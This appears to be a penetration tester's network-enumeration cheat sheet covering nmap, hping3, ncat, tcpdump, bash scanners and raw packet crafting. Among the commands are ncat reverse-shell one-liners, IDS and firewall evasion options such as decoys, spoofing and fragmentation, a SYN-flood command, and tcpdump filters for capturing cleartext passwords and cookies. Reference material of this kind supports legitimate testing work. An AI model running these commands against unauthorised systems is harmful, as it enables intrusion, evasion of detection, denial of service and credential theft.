> For the complete documentation index, see [llms.txt](https://docs.h4rithd.com/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://docs.h4rithd.com/tools/network-enumeration.md). # Network Enumeration {% hint style="info" %} Ports 1 to 1023 are **well-known ports** reserved for privileged services, meaning you must be a superuser (root) to bind services to them. **Port 0** is treated as a **wildcard** port and is typically used by applications to let the OS assign an ephemeral port automatically. {% endhint %} ## 00. Networking Basics * [Transporting packets](https://www.khanacademy.org/computing/computers-and-internet/xcae6f4a7ff015e7d:the-internet/xcae6f4a7ff015e7d:transporting-packets/a/the-problems-with-packets) ```bash ## ------------------| Loopback Alternatives ping localhost ping 127.0.0.1 ping 127.1 ping 0x7F000001 ping 0x7f01 ping 2130706433 ping ①②⑦.⓪.⓪.⓪ ping 017700000001 ping 0177.0000.0000.0001 ping 00000177.00000000.00000000.00000001 ``` * IPV 6 ```bash ## ------------------| Common fe80::c2d9:184f:9f41:3c8d <==> fe80:0000:0000:0000:c2d9:184f:9f41:3c8d ## ------------------| Subneting fe80::/10 - Unique Link-Local (169.254.4.x) ## fe80:0000:0000:0000:0000:0000:0000:0000 ## febf:ffff:ffff:ffff:ffff:ffff:ffff:ffff (mask) fc00::/7 - Unique Local-Unicast (10.x.x.x, 172.16.x.x, 192.168.x.x) ## fc00:0000:0000:0000:0000:0000:0000:0000 ## fdff:ffff:ffff:ffff:ffff:ffff:ffff:ffff (mask) 2000::/3 - Global Unicast ## 3fff:ffff:ffff:ffff:ffff:ffff:ffff:ffff (mask) FF02::1 - Multicast All Nodes FF02::2 - Multicast Router Nodes ``` * Calculate `Link-Local` IPV6 Address Using Mac ```bash ### Get MAC address arp -n ping 10.10.10.20 arp -n ## Calculate like below 👇👇👇 ``` ![](/files/-MiX3KH_A3XjxkWuNEVr) * Enumerate Network by ping multicast | `atk6-alive6` ```bash ## ------------------| Manual # Check arp cash arp -n # ip-neighbour ip -6 neigh # Ping to multicast ping6 -I eth0 ff02::1 # Check ip-neighbour again and arp cash ip -6 neigh arp -n ## ------------------| atk6-alive6 which atk6-alive6 <-- copy this binary to remote machine atk6-alive6 -e ff02::1 ip -6 neigh ``` * ICMP Codes ![](/files/-MiX8RtATiCWj6qNnDZA) *** ## 01. Nmap {% hint style="info" %} By default, Nmap scans the top 1000 TCP ports using a SYN scan (`-sS`) if run as root. If not, it defaults to a TCP connect scan (`-sT`) due to socket permission limits. If no scan type or ports are specified, Nmap sets them automatically. When using Nmap with `proxychains`, use `-sT -n` for full TCP scan and to skip DNS resolution. {% endhint %}
Port StateDescription
openPort is accessible and actively listening for connections.
closedPort is accessible but not listening for connections.
filteredNmap cannot determine if the port is open due to firewall or other network filters.
unfilteredPort is accessible, but Nmap was unable to determine whether it is open or closed.
open | filteredNo response received; the port may be open or protected by a firewall.
closed | filteredSeen only in idle scans; Nmap cannot determine if the port is closed or filtered.
FlagNmap Scan TechniqueDescription
-6IPv6 ScanConducts scan over IPv6 addresses
-PRARP ScanLocal hosts identification via ARP requests
-snPing ScanDetects online hosts without scanning ports
-sSTCP SYN ScanStealthy half-open scan using SYN packets
-sTTCP Connect Scan (Default)Full TCP handshake for open port detection
-sNTCP NULL ScanUses no flags to find open ports on RFC systems
-sFTCP FIN ScanUses FIN flag to bypass some firewalls
-sXTCP Xmas ScanSets FIN, PSH, and URG flags to probe ports
-sATCP ACK ScanAnalyzes ACK packets to understand firewall rules
-sWTCP Window ScanUtilizes TCP window size variations
-sMTCP Maimon ScanExploits BSD-based systems with FIN/ACK flags
-sOIP Protocol ScanDiscovers supported IP protocols
-sYSCTP INIT ScanChecks open SCTP ports with INIT packets
-sIIdle ScanStealthy scan using a zombie host
-bFTP Bounce ScanUses FTP servers to scan on attacker's behalf
-sPProtocol Discovery ScanChecks for supported protocols
-sZSCTP COOKIE-ECHO ScanSimilar to TCP SYN for SCTP ports
OptionDescription
-nSkip DNS resolution
-FFast scan mode – scans fewer ports (the top 100 most common ones)
-PnDisable ICMP Echo requests
-vvExtra verbosity
-sUPerforms a UDP scan
-p-All 65535 TCP ports
-T0Paranoid - Very slow, used to avoid detection (Timing template)
-T1Sneaky - Slow, used for IDS evasion (Timing template)
-T2Polite - Slower to reduce bandwidth usage (Timing template)
-T3Normal - Default timing (Timing template)
-T4Aggressive - Faster, assumes reliable network (Timing template)
-T5Insane - Very fast, may overwhelm networks (Timing template)
-oNNormal output (.nmap)
-oGGrepable output (.gnmap)
-oXXML output (.xml)
-oAAll formats (.nmap, .gnmap, .xml)
--openShow only open ports
-e tun0Use the tun0 network interface
-D RND:5Use 5 random decoy IPs for stealth
--reasonShow port state reasons
--version-allTries to detect versions of services on open ports (Default)
--osscan-limitLimits OS detection to avoid false positives (Default)
--min-rate 300Send at least 300 packets per second (Default 0)
--packet-traceShow packet trace
--max-retries 0Do not retry probes (faster, stealthier) - Default 10
--script=defaultRuns the default NSE scripts for basic service/version detection
--source-port 53Set source port to 53 (commonly used for DNS, useful for evasion)
--stats-every=5sStats update every 5 seconds
--disable-arp-pingDisable ARP ping
--max-rtt-timeout 100msSet maximum round-trip timeout to 100ms (Default 1000ms/1s)
--initial-rtt-timeout 50msSet initial round-trip timeout to 50ms before considering a probe lost (Default 100ms)
*** ```bash ## ------------------| Install Nmap wget https://nmap.org/dist/nmap-xxxx.rpm alien nmap-xxxx.rpm dpkg -i nmap-xxxx.deb ## ------------------| Download Nmap Static Binary With Scripts wget https://raw.githubusercontent.com/andrew-d/static-binaries/master/binaries/linux/x86_64/nmap ## ------------------| Nmap Debug Mode sudo nmap -d -packet-trace $IP sudo nmap --packet-trace -Pn -n --disable-arp-ping $IP sudo nmap -sV -sC -A $IP --script-trace ## ------------------| Default Nmap Flags nmap -sT -p 1-1024 --open --osscan-limit --version-all --script=default $IP ## ------------------| OS Detection, No ping sudo nmap -Pn -O 10.10.10.10 ## ------------------| Default scripts, Version check sudo nmap -sC -sV 10.10.10.10 ## ------------------| Timeouts (default --min-RTT-timeout 100ms) sudo nmap 10.10.10.10 -F --initial-rtt-timeout 50ms --max-rtt-timeout 100ms ## ------------------| Max Retries (default --max-retries 1) sudo nmap 10.10.10.10 -F --max-retries 0 ## ------------------| Rates sudo nmap 10.10.10.10 -F --min-rate 300 ## ------------------| Host Discovery sudo nmap -n -Pn -PS -vvv --open -p 88,53 -oN DCDiscovery.nmap 192.168.1.0/24 sudo nmap -sn --min-rate 10000 --max-retries 0 -n -T5 -oN FastHostDiscovery.nmap 192.168.1.0/24 sudo nmap -n -Pn -PS -vvv --open -p 22,21,25,53,80,88,443,445,3306,5060 -oN HostDiscovery.nmap 192.168.1.0/24 sudo nmap -sn -PE -PP -PS21,22,23,25,80,443,3389 -PA21,22,23,25,80,443,3389 --source-port 53 --max-retries 2 --min-parallelism 10 --max-parallelism 100 --host-timeout 30s --max-rtt-timeout 500ms -T4 -oA HostDiscovery 192.168.1.0/24 ## ------------------| Scan All TCP Open Ports sudo nmap -n -Pn -vv --open -T4 -p- -oN AllPorts.nmap $IP sudo nmap -sS -p- -Pn -n -T4 --source-port 53 --max-retries 2 -oN FastFullTcp.nmap $IP sudo nmap -n -Pn -vv --open -T4 -p- --source-port 53 --max-retries 2 -oN AllPorts.nmap $IP sudo nmap -sS -p- -Pn -n -T1 --max-retries 2 --scan-delay 1s --source-port 53 --data-length 24 -f --defeat-rst-ratelimit -oN StealthFullTcp.nmap $IP ## ------------------| Service Scan For Only Selected Open Port (using above) ports=$(cat AllPorts.nmap | grep '^[0-9]' | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//) sudo nmap -sV -sC -Pn -oN DetailPorts.nmap -p $ports $IP sudo nmap -sS -sV -p $ports -Pn -n -T4 --source-port 53 --max-retries 2 --version-intensity 3 -oN EvasiveServiceScan.nmap $IP ## ------------------| Scan TCP(All) + UDP sudo nmap -n -Pn -vv --open -T4 -sU -sS -PS -p U:161,500,4500,T:- -oN AllPorts.nmap $IP sudo nmap -sS -sU -p T:1-65535,U:1-65535 -Pn -n -T4 --max-retries 2 -oN TcpUdpFull.nmap $IP sudo nmap -sS -sU --top-ports 100 -p T:1-65535 -Pn -n -T4 --max-retries 2 -oN TcpUdpTop.nmap $IP ## ------------------| Optimizing UDP Scan sudo nmap -sUV -T4 -F -vv --version-intensity 0 $IP ## ------------------| Fast UDP Scan For Common Ports sudo nmap -n -Pn -vv --open -sU -F -oN UDPFastPorts.nmap $IP sudo nmap -sU --top-ports 100 -Pn -n -T4 --max-retries 1 --min-rate 500 -oN FastUdp.nmap $IP sudo nmap -n -Pn -vv --open -sU -p 53,67,69,111,123,135,137,138,161,177,445,500,631,623,1434,1900,4500 -oN UDPBestPorts.nmap $IP ## ------------------| Pause and Resume an Nmap Scan ### Get PID for nmap ps -aux | grep nmap ### Pause (but don't halt/reboot) kill -SIGTSTP [PID] ### Resume kill -SIGCONT [PID] ### It works with some other processes. If not try to use -SIGSTOP instead of -SIGTSTP. ``` * AV / Firewall Bypass ```bash ## ------------------| Decoys ### Decoy scanning helps hide the real origin of the scan by making it look like multiple sources are scanning the target. sudo nmap -sS -sV -F -D xxx.xxx.xxx.xxx,xxx.xxx.xxx.xxx -oN nmap-decoys.out $IP sudo nmap -sS -sV -F -D RND:3 -oN nmap.out $IP ## ------------------| MTU (Maximum Transmission Unit) ### This manipulates the MTU size for the scan to potentially avoid detection or network filtering. sudo nmap -sS -sV -F --mtu 16 -D xxx.xxx.xxx.xxx -oN nmap-mtu.out $IP ## ------------------| Fragmentation ### Fragments the packets to avoid detection by some firewalls and IDS systems. sudo nmap -f $IP ## ------------------| BadSum ### Sends packets with invalid checksums to potentially bypass firewalls or IDS that aren't configured to check checksums properly. sudo nmap --badsum $IP ## ------------------| Source Ports ### Source port manipulation can help bypass some firewalls and security measures that inspect specific ports. sudo nmap -p- -n -Pn -PS -g 88 $IP sudo nmap -p- -n -Pn -PS -g 20 $IP ## ------------------| Other sudo nmap -p- -n -Pn -PS $IP sudo nmap -p- -sS -Pn -n --disable-arp-ping --packet-trace --source-port 53 $IP sudo nmap --script firewall-bypass --script-args firewall-bypass.helper="ftp", firewall-bypass.targetport=22 10.10.10.10 $IP ``` * Nmap Scripting Engine (NSE) ```bash ### The Nmap Scripting Engine (NSE) allows users to write and use scripts to automate a wide variety of networking tasks, from vulnerability detection to exploitation and brute force. ### Language: Lua ### Location of scripts: `/usr/share/nmap/scripts/` ### NSE categories: auth, broadcast, brute, default, discovery, dos, exploit, external, fuzzer, intrusive, malware, safe, version, vuln ## ------------------| Update the Nmap Scripts Database sudo nmap --script-updatedb ## ------------------| Run all scripts (⚠️ noisy and slow) nmap --script all $IP ## ------------------| Run a single script nmap --script $IP ## ------------------| Run a category of scripts nmap --script $IP ## ------------------| Run multiple categories nmap --script "default,vuln" $IP ## ------------------| Logical operations / expression nmap --script "(default or safe) and not intrusive" $IP ## ------------------| Checks for known vulnerabilities, reports only if found. --script "vuln" ## ------------------| Loads all HTTP-related scripts (e.g., http-auth, http-title), use quotes to prevent wildcard expansion. --script "http-*" ## ------------------| Loads all scripts except those marked as intrusive; safe for passive scanning. --script "not intrusive" ## ------------------| Loads scripts in either the default or safe category; general-purpose non-intrusive scanning. --script "default or safe" ## ------------------| Loads only scripts that are in both default and safe categories; minimal and secure. --script "default and safe" ## ------------------| Loads scripts in default, safe, or intrusive categories excluding all http-* scripts; avoids web checks during deep scans. --script "(default or safe or intrusive) and not http-*" ``` *** ## 02. Hping 
###    |    -S = SYN    |    -A = ACK    |    -F = FIN    |
###    |    -R = RST    |    -P = PSH    |    -U = URG    |
## ------------------| ICMP Ping (like traditional ping)
hping3 -1 $IP

## ------------------| Full TCP Port Scan (0-65535)
hping3 $IP --scan 0-65535 -S

## ------------------| TCP SYN Ping (Check if host is up)
hping3 -S $IP -p 80 -c 1

## ------------------| TCP Port Scan (Incremental)
hping3 -S $IP -p ++1

## ------------------| TCP SYN Scan on common ports
hping3 -S $IP --scan 22,80,443

## ------------------| Stealth Scan (No 3-way handshake)
hping3 -S $IP -p 80 -c 1 --scan 80,443,22

## ------------------| Null Scan (no flags set)
hping3 $IP -p 80 -c 1

## ------------------| XMAS Scan (FIN, PSH, URG)
hping3 -F -P -U $IP -p 80

## ------------------| ACK Scan (Firewall stateful filtering test)
hping3 -A $IP -p 80 -c 3

## ------------------| Send packet with multiple TCP flags (for IDS testing or evasion).
hping3 $IP -p 80 -S -A -F -P -U -c 1

## ------------------| TCP SYN Flood (⚠️ aggressive and noisy) (for testing IDS, rate limits)
hping3 -S $IP -p 80 --flood

## ------------------| ICMP Ping with spoofed IP
hping3 -1 $IP -a 1.2.3.4

## ------------------| TCP SYN with spoofed source IP (bypass IP-based ACLs)
hping3 -S $IP -p 22 -a 192.168.1.100

## ------------------| Randomize source port (evade stateless filtering)
hping3 -S $IP -p 80 --rand-source

## ------------------| Fragment packets (evade IDS)
hping3 -S $IP -p 80 -f

## ------------------| TCP Ping with custom TTL
hping3 -S $IP -p 80 --ttl 42

## ------------------| Send custom payload (file or string)
hping3 $IP -p 80 -E payload.txt -d 100

## ------------------| Verbose RTT measurement (like ping with TCP)
hping3 -S $IP -p 80 -V

## ------------------| Scan DNS port (UDP/TCP testing)
hping3 -S $IP -p 53

## ------------------| Test outbound port filtering (reverse shell prep)
hping3 -A $IP -p 443 --flood --rand-source
*** ## 03. Ncat ```bash ## ------------------| Listen for incoming connection (Listener) ncat -l -p 4545 ## TCP ncat -lvnp 4545 ## TCP (verbose, numeric, listening) ncat -u -l -p 4545 ## UDP ## ------------------| Connect to remote host (Client) ncat $IP 4545 ## TCP ncat -u $IP 4545 ## UDP ncat -6 [2001:db8::1] 3333 ## IPv6 ## ------------------| TCP Zero-I/O Port Scan (probe port status without data) ncat -znv $IP 80 ## ------------------| Simple Port Scanner (TCP SYN-like) ncat --broker -l -p 8000 --max-conns 1 & ncat $IP 8000 ## ------------------| Set Custom TTL on Packets ncat $IP 80 --ttl 42 ## ------------------| Banner Grabbing with Timeout ncat $IP 21 -i 0.5 --recv-only ## ------------------| Send File over TCP ncat -l -p 7777 < backup.tar.gz ## ------------------| Receive File over TCP ncat $IP 7777 > backup.tar.gz ## ------------------| Reverse Shell to Attacker ncat $IP 4545 -e /bin/bash ## ------------------| Listen with Reverse Shell Handler ncat -l -p 4545 -e /bin/bash ## ------------------| Encrypted Reverse Shell (SSL) ncat --ssl $IP 4545 -e /bin/bash ## ------------------| Encrypted Listener (SSL) ncat -l --ssl -p 4545 -e /bin/bash ## ------------------| Run command on connection ncat -l -p 4545 --exec "/bin/bash" ## ------------------| Keep socket open after connection ends ncat -l --keep-open -p 4545 -e /bin/bash ## ------------------| Simple Chat Server ncat -l -p 4545 --chat ncat -l --ssl -p 4545 --chat ## Encrypted ## ------------------| Encrypted Chat Client (SSL/TLS) ncat --ssl $IP 5555 --chat ## ------------------| HTTP CONNECT via Proxy ncat --proxy http://127.0.0.1:3128 --proxy-type http h4rithd.com 80 ## HTTP ncat --proxy socks5://127.0.0.1:1080 --proxy-type socks5 h4rithd.com 80 ## SOCKS5 ## ------------------| Relay traffic between clients (broker mode) ncat -l --broker -p 4545 ## ------------------| Save output to file ncat $IP 80 -o output.txt ## ------------------| Append session output to file ncat $IP 80 -o output.txt --append-output ## ------------------| Bind to Specific Interface ncat -l -p 6666 --source-port 6666 --source 192.168.1.10 ## ------------------| UDP NAT Hole Punching (Client A) ncat -u -l -p 7000 --keep-open ## ------------------| UDP NAT Hole Punching (Client B) ncat -u $IP 7000 --send-only ## ------------------| Execute Shell with Lua Script ncat -l -p 8888 --lua-exec ./myscript.lua ## ------------------| Shorthand Shell Exec ncat -l -p 9999 --sh-exec "bash -i" ## ------------------| One-Shot Shell Listener (exit after one conn) ncat -l --keep-open --max-conns 1 -p 4545 -e /bin/bash ## ------------------| UDP Streaming Server (with interval) ncat -u -l -p 1234 --keep-open -i 1 --send-only < video.ts ## ------------------| UDP Streaming Client (receive) ncat -u $IP 1234 --recv-only > video.ts ## ------------------| Dual-Stack IPv4 & IPv6 Listener ncat -l --listen-host :: -p 3333 ## ------------------| Port Knock Sequence (listening ports 1000,2000,3000) ncat -l -p 1000 --keep-open & ncat -l -p 2000 --keep-open & ncat -l -p 3000 --keep-open & ``` ## 04. Tcpdump * Basic usage ```bash ## ------------------| Basic Flags -D # List interface/devices -i # Select interface -n # Do not use DNS names -c 5 # Captures 5 number of packets and then stops -s # To change the capture size (-s64 inspect the packet headers only) -w # Write the output to file -r # Read pcap file -X # See the content of the packets in HEX & ASCII format (use -XX to shows the ethernet header) ip6 # Show only IP6 Traffic -q # Be less verbose (more quiet) with your output. / Show less protocol information -t # Give human-readable timestamp output. -tttt # Give maximally human-readable timestamp output. -vv # Verbose output (more v’s gives more output). -S # Print absolute sequence numbers. -e # Get the ethernet header as well. -E # Decrypt IPSEC traffic by providing an encryption key. ## ------------------| IP/Range src # Source IP address dst # Destination IP address net # Find packets going to or from a particular network or subnet ## ------------------| Ports port 53 # Capture DNS traffic for both source or destination src port 53 # Capture DNS traffic for source dst port 53 # Capture DNS traffic for destination portrange 21-23 # Find Traffic Using Port Ranges ``` * Basic Filters ```bash ## ------------------| Capture all traffic on interface eth0 sudo tcpdump -i eth0 ## (tcp|udp|icmp) ## ------------------| List all available interfaces sudo tcpdump -D ## ------------------| Capture traffic with specific IP protocol number sudo tcpdump ip proto 6 ## ------------------| Capture traffic with specific MAC address sudo tcpdump ether host ## ------------------| Capture traffic on a specific VLAN sudo tcpdump vlan 10 ## ------------------| Capture traffic on specific host sudo tcpdump host $IP ## ------------------| Capture traffic on port 80 (HTTP) sudo tcpdump port 80 ## ------------------| Capture traffic from a specific source host sudo tcpdump src host $IP ## ------------------| Capture traffic from a specific source port sudo tcpdump src port 443 ## ------------------| Capture traffic from a specific source IP and port sudo tcpdump src host $IP and src port 22 ## ------------------| Capture traffic from a specific IP on ports 80 or 443 sudo tcpdump src host $IP and \( port 80 or port 443 \) ## ------------------| Capture traffic within a specific subnet sudo tcpdump net 192.168.1.0/24 ## ------------------| Capture traffic to a specific destination host sudo tcpdump dst host $IP ## ------------------| Capture traffic to a specific destination port sudo tcpdump dst port 443 ## ------------------| Capture traffic to a specific destination IP and port sudo tcpdump dst host $IP and dst port 22 ## ------------------| Capture traffic between two hosts sudo tcpdump host $IP1 and host $IP2 ## ------------------| Capture traffic excluding a specific host sudo tcpdump not host $IP ## ------------------| Capture traffic excluding a specific port sudo tcpdump not port 22 ## ------------------| Save captured packets to a file sudo tcpdump -w capture.pcap -i eth0 ## ------------------| Read packets from a saved file sudo tcpdump -r capture.pcap ## ------------------| Display packet contents in sudo tcpdump -A -i eth0 ## ASCII sudo tcpdump -x -i eth0 ## hex sudo tcpdump -X -i eth0 ## hex and ASCII ## ------------------| Capture a specific number of packets sudo tcpdump -c 10 -i eth0 ## ------------------| Capture packets with a specific size snapshot sudo tcpdump -s 0 -i eth0 ## ------------------| Capture packets with a timestamp sudo tcpdump -tttt -i eth0 sudo tcpdump -tt -i eth0 ## relative timestamp sudo tcpdump -ttt -i eth0 ## microsecond resolution sudo tcpdump -ttttt -i eth0 ## nanosecond resolution ``` * Advance Filters ```bash ## ------------------| Isolate TCP Flags ### Tcp flag is at offset 13 in the TCP header. So we can use tcp[13] to filter TCP flags. ### +-----+-----+-----+-----+-----+-----+ ### | URG | ACK | PSH | RST | SYN | FIN | ### +-----+-----+-----+-----+-----+-----+ ### | 32 | 16 | 8 | 4 | 2 | 1 | ### +-----+-----+-----+-----+-----+-----+ ## ------------------| Capture only SYN packets (TCP handshake initiation) sudo tcpdump 'tcp[13] & 2!=0' sudo tcpdump 'tcp[tcpflags] == tcp-syn' sudo tcpdump 'tcp[tcpflags] & tcp-syn == tcp-syn' sudo tcpdump "tcp[tcpflags] & (tcp-syn) != 0" ## ------------------| SYN+ACK sudo tcpdump 'tcp[13]=18' sudo tcpdump 'tcp[tcpflags] & (tcp-syn|tcp-ack) == (tcp-syn|tcp-ack)' sudo tcpdump 'tcp[tcpflags] & tcp-syn == tcp-syn' and 'tcp[tcpflags] & tcp-ack == tcp-ack' sudo tcpdump 'tcp[tcpflags] & (tcp-syn|tcp-ack) != 0' ## ------------------| Capture only ACK packets sudo tcpdump 'tcp[13] & 16!=0' sudo tcpdump 'tcp[tcpflags] == tcp-ack' ## ------------------| Capture only PSH packets sudo tcpdump 'tcp[13] & 8!=0' sudo tcpdump 'tcp[tcpflags] == tcp-push' ## ------------------| SYN+RST sudo tcpdump 'tcp[13] = 6' ## ------------------| Capture only FIN packets sudo tcpdump 'tcp[13] & 1!=0' sudo tcpdump 'tcp[tcpflags] == tcp-fin' ## ------------------| Capture only RST packets sudo tcpdump 'tcp[13] & 4!=0' sudo tcpdump 'tcp[tcpflags] == tcp-rst' ## ------------------| Capture only URG packets sudo tcpdump 'tcp[13] & 32!=0' sudo tcpdump 'tcp[tcpflags] == tcp-urg' ## ------------------| Capture only ECE packets sudo tcpdump 'tcp[13] & 64 != 0' ## ------------------| Capture only CWR packets sudo tcpdump 'tcp[13] & 128 != 0' ## ------------------| Capture traffic with specific TCP flags sudo tcpdump 'tcp[tcpflags] & (tcp-syn|tcp-ack) == (tcp-syn|tcp-ack)' ``` * [Tricks](https://danielmiessler.com/study/tcpdump/) ```bash ## --------------------| Show ARP Packets with MAC address sudo tcpdump -vv -e -nn ether proto 0x0806 ## --------------------| Find HTTP User Agents sudo tcpdump -vvAls0 | grep 'User-Agent:' ## --------------------| Cleartext GET Requests sudo tcpdump -vvAls0 | grep 'GET' ## --------------------| Find HTTP Host Headers sudo tcpdump -vvAls0 | grep 'Host:' ## --------------------| Find HTTP Cookies sudo tcpdump -vvAls0 | grep 'Set-Cookie|Host:|Cookie:' ## --------------------| Find SSH Connections sudo tcpdump 'tcp[(tcp[12]>>2):4] = 0x5353482D' ## --------------------| Find DNS Traffic sudo tcpdump -vvAs0 port 53 ## --------------------| Find FTP Traffic sudo tcpdump -vvAs0 port ftp or ftp-data ## --------------------| Find NTP Traffic sudo tcpdump -vvAs0 port 123 ## --------------------| Find Cleartext Passwords sudo tcpdump port http or port ftp or port smtp or port imap or port pop3 or port telnet -lA | egrep -i -B5 'pass=|pwd=|log=|login=|user=|username=|pw=|passw=|passwd= |password=|pass:|user:|username:|password:|login:|pass |user ' ## --------------------| Find Traffic With Evil Bit sudo tcpdump 'ip[6] & 128 != 0' ``` *** ## 05. Scripts * **Port** scan using **`netcat`** ```bash ### If you run nmap scan in brackground, never run this! this will effect to the nmap scan results for i in {1..65535};do (nc -zvn -w 1 $i 2>&1 | grep -v -i "Connection timed out\|Connection refused"); done ``` * Scan live **hosts** `using bash` ```bash #!/bin/bash ip=172.20.0 for i in $(seq 2 255); do ping -c 1 -W 1 $ip.$i 1>/dev/null 2>&1 if [[ $? -eq 0 ]]; then echo "[+] $ip.$i - is Alive!" fi done #### One linner for i in {1..254}; do (ping -c 1 172.18.0.${i} | grep "bytes from" | grep -v "Unreachable" &); done; ``` * Scan live **ports** `using bash` ```bash #!/bin/bash ## Run this script like ./portscan.sh 2>/dev/null ip=127.0.0.1 for port in $(seq 1 65535); do echo 1 > /dev/tcp/$ip/$port 1>/dev/null 2>&1 if [[ $? -eq 0 ]]; then echo "[+] $ip : $port - is Open!" fi done ``` ```bash #!/bin/bash ## Run this script like ./portscan.sh 2>/dev/null ip=127.0.0.1 for port in $(seq 1 65535); do timeout .1 bash -c "echo > /dev/tcp/$ip/$port" && echo "[+] $ip : $port - is Open!" done echo "==========[ Finished ]============" ``` *** ## 06. Advance ### 06.1 Send Packet \[python] {% embed url="" %} source inc0x0.com {% endembed %} * [Sending a self crafted packet](https://inc0x0.com/tcp-ip-packets-introduction/tcp-ip-packets-3-manually-create-and-send-raw-tcp-ip-packets/) ```python import socket s = socket.socket(socket.AF_PACKET, socket.SOCK_RAW) s.bind(("eth0", 0)) ethernet = b'\x00\x0c\x29\xd3\xbe\xd6' # MAC Address Destination ethernet += b'\x00\x0c\x29\xe0\xc4\xaf' # MAC Address Source ethernet += b'\x08\x00' # Protocol-Type: IPv4 ip_header = b'\x45\x00\x00\x28' # Version, IHL, Type of Service | Total Length ip_header += b'\xab\xcd\x00\x00' # Identification | Flags, Fragment Offset ip_header += b'\x40\x06\xa6\xec' # TTL, Protocol | Header Checksum ip_header += b'\x0a\x0a\x0a\x02' # Source Address ip_header += b'\x0a\x0a\x0a\x01' # Destination Address tcp_header = b'\x30\x39\x00\x50' # Source Port | Destination Port tcp_header += b'\x00\x00\x00\x00' # Sequence Number tcp_header += b'\x00\x00\x00\x00' # Acknowledgement Number tcp_header += b'\x50\x02\x71\x10' # Data Offset, Reserved, Flags | Window Size tcp_header += b'\xe6\x32\x00\x00' # Checksum | Urgent Pointer packet = ethernet + ip_header + tcp_header s.send(packet) ``` ### 06.2 Wireshark * Create NTML hash using wireshark ```bash ## --------------------| Setup use filter as "smb2" ## --------------------| NTLM hash structure [UserName]::[DoaminName]:[NTLMServerChallenge]:[NTProofStr]:[RestofNTLMv2Response] ``` ![](/files/JGn8kQKD3qojtgAfuAs6) ![](/files/VCe5aBdnvcukAMkNa1oT) ### 06.3 Zeek ``` ## --------------------| Setup sudo apt-get install zeek ## --------------------| Read pcap file zeek -Cr file.pcap ## --------------------| Read outputs less -S conn.log grep http.log cat http.log | zeek-cut uri | sort | uniq -c cat http.log | zeek-cut id.org_h uri host ```